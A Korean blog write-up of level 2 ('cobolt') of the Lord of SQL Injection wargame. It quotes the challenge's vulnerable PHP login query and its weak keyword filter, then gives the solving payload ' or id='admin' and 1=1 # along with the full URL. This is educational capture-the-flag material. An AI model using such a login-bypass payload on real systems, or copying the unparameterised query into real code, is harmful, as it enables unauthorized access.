write-up/LOS write-up

LOS (Lord of SQL injection) 문제 2번 cobolt write-up

정보보호학과 새내기 2021. 7. 5. 16:54
반응형

문제 2번 - cobolt

 

query : select id from prob_cobolt where id='' and pw=md5('')

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 

문제 1번과 마찬가지로 php코드가 주어졌다. 코드가 주어지면 좋은 점이 필터링함수를 통해 무슨 표현을 필터링하는지 또 어떤 조건을 충족시켜야 clear가 되는지 알 수 있다는 것이다.

 

먼저 필터링 함수를 확인해보면 문제 1번과 마찬가지로 prob와 _ , . , ( , ) ,을 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.

<?php
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
?>

 

또 코드를 계속 확인해보면 result에 참인 값이 들어가면 되는 것이 아니라 result에 id가 admin이어야한다는 것을 알 수 있다. 

<?php
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 

1번처럼 그냥 result에 참인 값이 들어가면 다른 아이디와 admin이 아니라는 문구가 뜬다는 것을 확인할 수 있다.

1번처럼 그냥 result에 참인 값을 집어넣는 경우

따라서 id를 admin으로 한 후 참인 값을 집어넣어 $result['id'] == 'admin'이라는 조건을 만족시킨다.

1번과 마찬가지로 원하는 문장 이후에는 주석처리를 의미하는 #을 입력한다. url에서 입력하므로 #을 의미하는 %23을 사용한다.

 

따라서 해당 주소 php 뒤에 ?id=' or id='admin' and 1=1 %23을 입력한다.

 

solve

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27%20or%20id=%27admin%27%20and%201=1%20%23

클리어 화면

 

반응형